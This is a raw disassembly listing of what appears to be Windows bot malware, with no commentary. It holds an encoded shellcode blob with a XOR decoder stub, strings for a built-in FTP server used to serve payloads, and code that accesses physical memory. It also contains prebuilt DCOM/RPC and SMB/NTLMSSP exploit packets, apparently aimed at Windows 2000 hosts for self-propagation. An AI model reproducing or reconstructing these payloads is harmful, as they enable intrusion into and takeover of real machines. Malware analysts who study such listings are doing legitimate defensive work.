		dd 1, 736B77h, 2 dup(0)
		dd 57000000h, 534Bh, 7 dup(0)
		dd 8Bh,	409FC8h, 0
		dd 1, 31736B77h, 2 dup(0)
		dd 57000000h, 31534Bh, 7 dup(0)
		dd 1BDh, 409FC8h, 0
		dd 1, 10h dup(0)
dword_43A7C8	dd 3164h, 2 dup(0)		dd 1000000h, 73h, 2 dup(0)
		dd 1000000h
dword_43A7E8	dd 3364h, 2 dup(0)		dd 1000000h, 316F6B77h,	2 dup(0)
		dd 1000000h
dword_43A808	dd 656Eh, 2 dup(0)		dd 1000000h, 31626Eh, 2	dup(0)
		dd 1000000h
dword_43A828	dd 3164h, 2 dup(0)		dd 1000000h, 3264h, 2 dup(0)
		dd 1000000h
dword_43A848	dd 73h,	2 dup(0)		dd 1000000h, 736B6Eh, 2	dup(0)
		dd 1000000h
dword_43A868	dd 76h,	2 dup(0)		dd 1000000h, 6276h, 2 dup(0)
		dd 1000000h
dword_43A888	dd 73h,	2 dup(0)		dd 1000000h, 736B77h, 2	dup(0)
		dd 1000000h
dword_43A8A8	dd 3364h, 2 dup(0)		dd 1000000h, 31656B77h,	2 dup(0)
		dd 1000000h
dword_43A8C8	dd 2		dword_43A8CC	dd 2		dword_43A8D0	dd 2		dword_43A8D4	dd 2		dword_43A8D8	dd 2		dword_43A8DC	dd 2		dword_43A8E0	dd 2		dword_43A8E4	dd 2		dword_43A8E8	dd 0E983C929h, 0FFFFE8B0h, 5EC0FFFFh, 970E7681h, 839CBE56h
					; DATA XREF: .text:004017FCo
					; sub_403970+4Bo ...
		dd 0F4E2FCEEh, 0D1553C6Bh, 6341AF7Fh, 0F0353668h, 0D93572B3h
		dd 99C2DDABh, 175157EFh, 0C3354ED8h, 0D55557B7h, 9D35621Ch
		dd 57E6779h, 0E87ED23Bh, 91749790h, 68559496h, 0B49A02ACh
		dd 0C335B3E2h, 0FA5557B3h, 17F55A1Ch, 77BF4AC8h, 15357A94h
		dd 0FDA272FBh, 0F8656754h, 178E151Ch, 0EC355AD7h, 0DC35FB8Bh
		dd 12D6089Fh, 0CC5258D9h, 0CFD88068h, 0AE8D3EF1h, 0AECD21FFh
		dd 4C4102C8h, 60539DFFh, 4A4106ACh, 0FA5BDFC8h,	9EB6BB16h
		dd 63BC3CC2h, 95673E47h, 63E9FB62h, 0CFED0541h,	0CFFD05C4h
		dd 4C4105D4h, 0F6BA3EF1h, 7D3705F1h, 861A3E02h,	63E991E7h
		dd 0CDAE3C41h, 0F46EA9C2h, 7590FB33h, 0CF68A9C0h, 0F46EA9C2h
		dd 0D5381F72h, 0CC68A9C0h, 63EB02C3h, 7BD6C547h, 0CBC790EEh
		dd 63EB8068h, 0F8D43047h, 0F1DD3EF1h, 0CCD4B31Eh, 15727FCEh
		dd 15FA3C70h, 6F7E6775h, 0B1FCA83Dh, 0F921469h,	37862C1Ah
		dd 0EED6FD3Ch, 63A8E569h, 4A4112E2h, 0CDEC01CCh, 9DD407C6h
		dd 0CDEB07C6h, 31D68668h, 0CF70534Eh, 63D48068h, 4C416168h
		dd 1F42011Ch, 4A413253h, 0F46EA9C5h, 0FC5E9878h, 6368A9C4h
		dd 9CBE5647h, 0
		dd 159h
aEftpdDTotalDIn	db ' (EFTPD): (%d), Total -> (%d in %s)',0 ; DATA XREF: sub_401990+9Ao
aSD_0		db ' (%s: %d),',0       ; DATA XREF: sub_401990+4Co
		align 4
aSStats		db '%s (Stats):',0      ; DATA XREF: sub_401990+1Ao
aCCCCCC		db '%c%c%c%c%c%c',0     ; DATA XREF: sub_401A77+66o
					; sub_40A9FE+5B34o
		align 4
aSCCCCC		db '%s%c%c%c%c%c',0     ; DATA XREF: sub_401AF0+6Bo
		align 4
aS_6		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_401B6E:loc_401E31o
					; sub_406429+251o ...
		align 10h
aSSSDSSSSSSSS_0	db '%s %s %s %d >> %s %s %s %s %s >> %s %s %s >> %s %s %s %s >> %s %s'
					; DATA XREF: sub_401B6E+274o
					; sub_406429+210o
		db ' %s >> %s %s%s %s %s',0Dh,0Ah,0
aSSSDSSSSSSSSSS	db '%s %s %s %d >> %s %s %s %s %s >> %s %s %s %s >> %s %s %s >> %s %s'
					; DATA XREF: sub_401B6E+1E9o
					; sub_406429+180o
		db '%s %s %s',0Dh,0Ah,0
aSDDDDD_exe	db '%s%d%d%d%d%d.exe',0 ; DATA XREF: sub_401B6E+137o
					; sub_40541D+285o ...
		align 4
off_43AB68	dd offset dword_5C005C	; DATA XREF: sub_401E9E+16o
		align 10h
off_43AB70	dd offset dword_49005C	; DATA XREF: sub_401E9E+Bo
		dd offset loc_43004E+2
		dd 24h
dword_43AB7C	dd 252E7325h, 73252E73h, 73252Eh					; sub_402CE9+398o
dword_43AB88	dd 78h							; sub_401F54+A3o ...
dword_43AB8C	dd 2Eh							; sub_405C99+2Do ...
dword_43AB90	dd 49207325h, 7463616Eh, 657669hdword_43AB9C	dd 28207325h, 29504943h, 7325203Ah, 0aSSSISS_	db '%s %s, %s: %i, %s: %s.',0 ; DATA XREF: sub_4020BA+D3o
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40222C+3Bo
aSSAtSDAfterDMi	db '%s %s at %s:%d after %d minute(s).',0 ; DATA XREF: sub_402459+1D2o
		align 4
aSSDThreadDSubT	db '%s %s:%d, Thread: %d, Sub-thread: %d.',0 ; DATA XREF: sub_402459+119o
		align 4
aSSD_0		db '%s %s: <%d>',0      ; DATA XREF: sub_402459+98o
					; sub_423C7A+A5o ...
aSSSSDOpen_	db '%s %s%s: %s:%d open.',0 ; DATA XREF: sub_402675+C3o
		align 10h
aZwopensection	db 'ZwOpenSection',0    ; DATA XREF: sub_402822+23o
		align 10h
aRtlinitunicode	db 'RtlInitUnicodeString',0 ; DATA XREF: sub_402822+1Bo
		align 4
aNtdll_dll	db 'ntdll.dll',0        ; DATA XREF: sub_402822o
		align 4
aCurrent_user	db 'CURRENT_USER',0     ; DATA XREF: sub_402889+5Do
		align 4
off_43AC84	dd offset aRy6iq0udbphN2n+0Ch ;	DATA XREF: sub_40292F+31o
aEvicePhysicalm:
		unicode	0, <evice\PhysicalMemory>,0
		align 4
aSesecuritypriv	db 'SeSecurityPrivilege',0 ; DATA XREF: sub_402BD7:loc_402C3Eo
a503		db '503',0Dh,0Ah,0      ; DATA XREF: sub_402CE9:loc_403222o
		align 10h
a221		db '221',0Dh,0Ah,0      ; DATA XREF: sub_402CE9+51Eo
		align 4
aQuit		db 'QUIT',0             ; DATA XREF: sub_402CE9+511o
		align 10h
a425		db '425',0Dh,0Ah,0      ; DATA XREF: sub_402CE9:loc_4031D8o
		align 4
aSS_2		db '%s -> %s',0         ; DATA XREF: sub_402CE9+494o
					; sub_402CE9+4C3o
		align 4
a226		db '226',0Dh,0Ah,0      ; DATA XREF: sub_402CE9+440o
		align 4
a150		db '150',0Dh,0Ah,0      ; DATA XREF: sub_402CE9+3DBo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_402CE9+3CBo
		align 4
a200		db '200',0Dh,0Ah,0      ; DATA XREF: sub_402CE9+3A3o
		align 4
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_402CE9+362o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_402CE9+324o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_402CE9+2F0o
		align 4
a230		db '230',0Dh,0Ah,0      ; DATA XREF: sub_402CE9+2CBo
		align 4
aPass		db 'PASS',0             ; DATA XREF: sub_402CE9+2BFo
		align 4
a331		db '331',0Dh,0Ah,0      ; DATA XREF: sub_402CE9+29Ao
		align 4
aUser		db 'USER',0             ; DATA XREF: sub_402CE9+28Eo
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_402CE9+274o
					; sub_4033A3+C8o ...
		align 4
a220		db '220',0Dh,0Ah,0      ; DATA XREF: sub_402CE9:loc_402EC3o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_4032D2+2Bo
					; .text:0040A296o
		align 10h
aSSDS		db '%s %s %d %s',0      ; DATA XREF: sub_4033A3+75o
					; sub_423654+36o
		align 10h
byte_43AD90	db 1			; DATA XREF: sub_4034A5+25r
		align 2
		dw 2
		dd 80004h, 200010h, 800040h
dword_43ADA0	dd 800000h, 400000h, 200000h, 100000h, 80000h, 40000h
					; DATA XREF: sub_4034A5+C6r
					; sub_4034A5+D8r
		dd 20000h, 10000h, 8000h, 4000h, 2000h,	1000h, 800h, 400h
		dd 200h, 100h, 80h, 40h, 20h, 10h, 8, 4, 2, 1
byte_43AE00	db 38h			; DATA XREF: sub_4034A5:loc_4034B5r
		db 30h,	28h, 20h
		dd 81018h, 21293139h, 1091119h,	222A323Ah, 20A121Ah, 232B333Bh
		dd 262E363Eh, 60E161Eh,	252D353Dh, 50D151Dh, 242C343Ch
		dd 40C141Ch, 30B131Bh
dword_43AE38	dd 6040201h, 0E0C0A08h,	1513110Fh, 1C1B1917h, 170A100Dh
					; DATA XREF: sub_4034A5+6Ar
		dd 1B020400h, 914050Eh,	30B1216h, 60F0719h, 10C131Ah
dword_43AE60	dd 241E3328h, 271D362Eh, 2F202C32h, 3726302Bh, 292D3421h
					; DATA XREF: sub_4034A5:loc_40355Br
		dd 1F1C2331h
dword_43AE78	dd 1010400h, 0						; sub_403721+148r
		dd 10000h, 1010404h, 1010004h, 10404h, 4, 10000h, 400h
		dd 1010400h, 1010404h, 400h, 1000404h, 1010004h, 1000000h
		dd 4, 404h, 2 dup(1000400h), 2 dup(10400h), 2 dup(1010000h)
		dd 1000404h, 10004h, 2 dup(1000004h), 10004h, 0
		dd 404h, 10404h, 1000000h, 10000h, 1010404h, 4,	1010000h
		dd 1010400h, 2 dup(1000000h), 400h, 1010004h, 10000h, 10400h
		dd 1000004h, 400h, 4, 1000404h,	10404h,	1010404h, 10004h
		dd 1010000h, 1000404h, 1000004h, 404h, 10404h, 1010400h
		dd 404h, 2 dup(1000400h), 0
		dd 10004h, 10400h, 0
		dd 1010004h
dword_43AF78	dd 80108020h						; sub_403721+189r
		dd 80008000h, 8000h, 108020h, 100000h, 20h, 80100020h
		dd 80008020h, 80000020h, 80108020h, 80108000h, 80000000h
		dd 80008000h, 100000h, 20h, 80100020h, 108000h,	100020h
		dd 80008020h, 0
		dd 80000000h, 8000h, 108020h, 80100000h, 100020h, 80000020h
		dd 0
		dd 108000h, 8020h, 80108000h, 80100000h, 8020h,	0
		dd 108020h, 80100020h, 100000h,	80008020h, 80100000h, 80108000h
		dd 8000h, 80100000h, 80008000h,	20h, 80108020h,	108020h
		dd 20h,	8000h, 80000000h, 8020h, 80108000h, 100000h, 80000020h
		dd 100020h, 80008020h, 80000020h, 100020h, 108000h, 0
		dd 80008000h, 8020h, 80000000h,	80100020h, 80108020h, 108000h
dword_43B078	dd 208h							; sub_403721+152r
		dd 8020200h, 0
		dd 8020008h, 8000200h, 0
		dd 20208h, 8000200h, 20008h, 2 dup(8000008h), 20000h, 8020208h
		dd 20008h, 8020000h, 208h, 8000000h, 8,	8020200h, 200h
		dd 20200h, 8020000h, 8020008h, 20208h, 8000208h, 20200h
		dd 20000h, 8000208h, 8,	8020208h, 200h,	8000000h, 8020200h
		dd 8000000h, 20008h, 208h, 20000h, 8020200h, 8000200h
		dd 0
		dd 200h, 20008h, 8020208h, 8000200h, 8000008h, 200h, 0
		dd 8020008h, 8000208h, 20000h, 8000000h, 8020208h, 8, 20208h
		dd 20200h, 8000008h, 8020000h, 8000208h, 208h, 8020000h
		dd 20208h, 8, 8020008h,	20200h
dword_43B178	dd 802001h						; sub_403721+193r
		dd 2 dup(2081h), 80h, 802080h, 800081h,	800001h, 2001h
		dd 0
		dd 2 dup(802000h), 802081h, 81h, 0
		dd 800080h, 800001h, 1,	2000h, 800000h,	802001h, 80h, 800000h
		dd 2001h, 2080h, 800081h, 1, 2080h, 800080h, 2000h, 802080h
		dd 802081h, 81h, 800080h, 800001h, 802000h, 802081h, 81h
		dd 2 dup(0)
		dd 802000h, 2080h, 800080h, 800081h, 1,	802001h, 2 dup(2081h)
		dd 80h,	802081h, 81h, 1, 2000h,	800001h, 2001h,	802080h
		dd 800081h, 2001h, 2080h, 800000h, 802001h, 80h, 800000h
		dd 2000h, 802080h
dword_43B278	dd 100h							; sub_403721+164r
		dd 2080100h, 2080000h, 42000100h, 80000h, 100h,	40000000h
		dd 2080000h, 40080100h,	80000h,	2000100h, 40080100h, 42000100h
		dd 42080000h, 80100h, 40000000h, 2000000h, 2 dup(40080000h)
		dd 0
		dd 40000100h, 2	dup(42080100h),	2000100h, 42080000h, 40000100h
		dd 0
		dd 42000000h, 2080100h,	2000000h, 42000000h, 80100h, 80000h
		dd 42000100h, 100h, 2000000h, 40000000h, 2080000h, 42000100h
		dd 40080100h, 2000100h,	40000000h, 42080000h, 2080100h
		dd 40080100h, 100h, 2000000h, 42080000h, 42080100h, 80100h
		dd 42000000h, 42080100h, 2080000h, 0
		dd 40080000h, 42000000h, 80100h, 2000100h, 40000100h, 80000h
		dd 0
		dd 40080000h, 2080100h,	40000100h
dword_43B378	dd 20000010h						; sub_403721+1A2r
		dd 20400000h, 4000h, 20404010h,	20400000h, 10h,	20404010h
		dd 400000h, 20004000h, 404010h,	400000h, 20000010h, 400010h
		dd 20004000h, 20000000h, 4010h,	0
		dd 400010h, 20004010h, 4000h, 404000h, 20004010h, 10h
		dd 2 dup(20400010h), 0
		dd offset loc_40400F+1
		dd 20404000h, 4010h, 404000h, 20404000h, 20000000h, 20004000h
		dd 10h,	20400010h, 404000h, 20404010h, 400000h,	4010h
		dd 20000010h, 400000h, 20004000h, 20000000h, 4010h, 20000010h
		dd 20404010h, 404000h, 20400000h, 404010h, 20404000h, 0
		dd 20400010h, 10h, 4000h, 20400000h, 404010h, 4000h, 400010h
		dd 20004010h, 0
		dd 20404000h, 20000000h, 400010h, 20004010h
dword_43B478	dd 200000h						; sub_403721+16Br
		dd 4200002h, 4000802h, 0
		dd 800h, 4000802h, 200802h, 4200800h, 4200802h,	200000h
		dd 0
		dd 4000002h, 2,	4000000h, 4200002h, 802h, 4000800h, 200802h
		dd 200002h, 4000800h, 4000002h,	4200000h, 4200800h, 200002h
		dd 4200000h, 800h, 802h, 4200802h, 200800h, 2, 4000000h
		dd 200800h, 4000000h, 200800h, 200000h,	2 dup(4000802h)
		dd 2 dup(4200002h), 2, 200002h,	4000000h, 4000800h, 200000h
		dd 4200800h, 802h, 200802h, 4200800h, 802h, 4000002h, 4200802h
		dd 4200000h, 200800h, 0
		dd 2, 4200802h,	0
		dd 200802h, 4200000h, 800h, 4000002h, 4000800h,	800h, 200002h
dword_43B578	dd 10001040h						; sub_403721+1ACr
		dd 1000h, 40000h, 10041040h, 10000000h,	10001040h, 40h
		dd 10000000h, 40040h, 10040000h, 10041040h, 41000h, 10041000h
		dd 41040h, 1000h, 40h, 10040000h, 10000040h, 10001000h
		dd 1040h, 41000h, 40040h, 10040040h, 10041000h,	1040h
		dd 2 dup(0)
		dd 10040040h, 10000040h, 10001000h, 41040h, 40000h, 41040h
		dd 40000h, 10041000h, 1000h, 40h, 10040040h, 1000h, 41040h
		dd 10001000h, 40h, 10000040h, 10040000h, 10040040h, 10000000h
		dd 40000h, 10001040h, 0
		dd 10041040h, 40040h, 10000040h, 10040000h, 10001000h
		dd 10001040h, 0
		dd 10041040h, 2	dup(41000h), 2 dup(1040h), 40040h, 10000000h
		dd 10041000h
dword_43B678	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43B6C8	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_403970+FBo
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_43BA2C	dd 20h,	0			dd 20h,	5C005Ch, 0
off_43BA40	dd offset loc_43005C	; DATA XREF: sub_403970+135o
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 10h
dword_43BA80	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43BAB4	dd offset word_580046	; DATA XREF: sub_403970+31o
					; sub_403970+72o
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_43BB90	dd 10016C6h	dword_43BB94	dd 100139Dh	dword_43BB98	dd 158h				align 10h
dword_43BBA0	dd 30B0005h, 10h, 48h, 0		dd 16D016D0h, 0
		dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43BBEC	dd 3000005h, 10h, 5 dup(0)dword_43BC08	dd 10005h, 2 dup(0)		dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch,	5 dup(0)
		dd 90000h, 300h, 0
		dd 300h, 5C005Ch, 0
dword_43BC50	dd 0				dd 2, 0
		dd 1, 91C68h, 1, 2 dup(0)
		dd 0C0h, 46000000h, 2 dup(1), 7
; ---------------------------------------------------------------------------


loc_43BC84:				; DATA XREF: .text:00403EB0o
		mov	eax, [esp-4]
		add	eax, 0FFFFFAE0h
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h


loc_43BC90:				; DATA XREF: .text:00403E5Bo
		mov	eax, [ebp+30h]
		add	eax, 0FFFFFB24h
		jmp	eax
; ---------------------------------------------------------------------------
		align 4


loc_43BC9C:				; DATA XREF: .text:00403EFFo
		jmp	short loc_43BCAE
; ---------------------------------------------------------------------------
		jmp	short loc_43BCB9
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_43BCA4:				; DATA XREF: .text:00403F5Ao
		jmp	short near ptr word_43BCAA
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 2 dup(0FFh)
word_43BCAA	dw 0			; CODE XREF: .text:loc_43BCA4j
; ---------------------------------------------------------------------------


loc_43BCAC:				; DATA XREF: .text:00403F7Bo
		jmp	short near ptr word_43BCB2
; ---------------------------------------------------------------------------


loc_43BCAE:				; CODE XREF: .text:loc_43BC9Cj
					; .text:loc_43BCCCj
		jmp	short loc_43BCB4
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43BCB2	dw 0			; CODE XREF: .text:loc_43BCACj
; ---------------------------------------------------------------------------


loc_43BCB4:				; CODE XREF: .text:loc_43BCAEj
					; DATA XREF: .text:00403F9Fo
		jmp	short near ptr loc_43BCB9+1
; ---------------------------------------------------------------------------
		dw 0FFFFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_43BCB9:				; CODE XREF: .text:0043BC9Ej
					; .text:loc_43BCB4j
		inc	dword ptr [eax]
; ---------------------------------------------------------------------------
		db 0
off_43BCBC	dd offset loc_410058+4	; DATA XREF: .text:00403FEEo
		dd 2 dup(0)
dword_43BCC8	dd 77F33723h	; ---------------------------------------------------------------------------


loc_43BCCC:				; DATA XREF: .text:00403F38o
		jmp	short loc_43BCAE
; ---------------------------------------------------------------------------
		dw 7FFDh
; ---------------------------------------------------------------------------


loc_43BCD0:				; DATA XREF: .text:00403F11o
		lahf
		jnz	short loc_43BCEB


loc_43BCD3:				; DATA XREF: .text:00403EA0o
		add	[ecx+1Ch], bl


loc_43BCD6:				; CODE XREF: .text:loc_43BCE0j
		add	[ecx], al


loc_43BCD8:				; DATA XREF: .text:00403E82o
		or	ecx, [ebx]
		sbb	eax, [eax]


loc_43BCDC:				; DATA XREF: .text:00403E91o
		jmp	short near ptr dword_43BCE4
; ---------------------------------------------------------------------------
		align 10h


loc_43BCE0:				; DATA XREF: .text:00403E6Do
		jmp	short loc_43BCD6
; ---------------------------------------------------------------------------
		align 4
dword_43BCE4	dd 0		byte_43BCE8	db 5, 0, 0Bh		; DATA XREF: sub_404134+298o
; ---------------------------------------------------------------------------


loc_43BCEB:				; CODE XREF: .text:0043BCD1j
		add	edx, [eax]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 48h,	7Fh, 16D016D0h,	0
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_43BD38	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_404134+17Fo
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_43C09C	dd 20h,	0			dd 20h,	5C005Ch, 0
off_43C0B0	dd offset loc_43005C	; DATA XREF: sub_404134+1B9o
		dd offset dword_5C0024
a123456111111_0:
		unicode	0, <123456111111111111111.doc>,0
		align 10h
dword_43C0F0	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43C124	dd offset word_580046	; DATA XREF: sub_404134+A2o
					; sub_404134+F2o
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004E
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrr_0	db ''
		db ''
		db '',0
dword_43C200	dd 10016C6h	dword_43C204	dd 100139Dh	dword_43C208	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0					; sub_404525+C01o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43C254	dd 3000005h, 10h, 18h, 1, 3 dup(0)					; sub_404525+C40o
dword_43C270	dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
					; DATA XREF: sub_404525+B1Bo
					; sub_404525+C75o
dword_43C284	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_404525+B3Fo
					; sub_404525+C9Co
unk_43C298	db  81h	; 		; DATA XREF: sub_404525+AAo
					; sub_404525+916o
		db 2 dup(0), 44h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedcaca	db ' EKEDFEEIEDCACACACACACACACACACAAA',0
		dd 0
dword_43C2E4	dd 2F000000h, 424D53FFh, 72h, 4	dup(0)					; sub_404525+948o
		dd 25C0000h, 0
		dd 2000C00h, 4C20544Eh,	2E30204Dh, 3231h
dword_43C318	dd 48000000h, 424D53FFh, 73h, 4	dup(0)					; sub_404525+973o
		dd 25C0000h, 0
		dd 0FF0Dh, 2FFFF00h, 25C00h, 2 dup(0)
		dd 1000000h, 0B000000h,	6E000000h, 79700074h, 626D73h
		dd 0
		db  81h	; 
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aEkedfeeiedca_0	db ' EKEDFEEIEDCACACACACACACACACACAAA',0
		dd 2 dup(0)
dword_43C3B8	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: sub_404525+2C8o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0)
dword_43C448	dd 0B9000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_404525+2FCo
		dd 0C0750000h, 6DD70000h, 0FF0Ch, 2FFDF00h, 100h, 5B000000h
		dd 0
		db    0
		db 5Ch,	0D0h, 0
		db  80h	; €
		db 7Eh,	0, 60h
		db  59h	; Y
		db 2 dup(6), 2Bh
		db    6
		db 1, 2	dup(5)
		db    2
		db 0A0h, 4Fh, 30h
		db  4Dh	; M
		db 0A0h, 0Eh, 30h
		db  0Ch
		db 6, 0Ah, 2Bh
		db    6
		db 1, 4, 1
		db  82h	; ‚
		db 37h,	2 dup(2)
		db  0Ah
		db 0A2h, 3Bh, 4
a9ntlmssp	db '9NTLMSSP',0
		db 1, 2	dup(0)
		db    0
		db 1, 2, 8
		db    0
		db 9, 0, 9
		db    0
		db 20h,	2 dup(0)
		db    0
		db 10h,	0, 10h
		db    0
		db 29h,	2 dup(0)
		db    0
aWorkgrouplqpxf	db 'WORKGROUPlQPxf2ISQgEV1bGKWindows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		align 4
dword_43C508	dd 0D010000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_404525+381o
		dd 0C0750000h
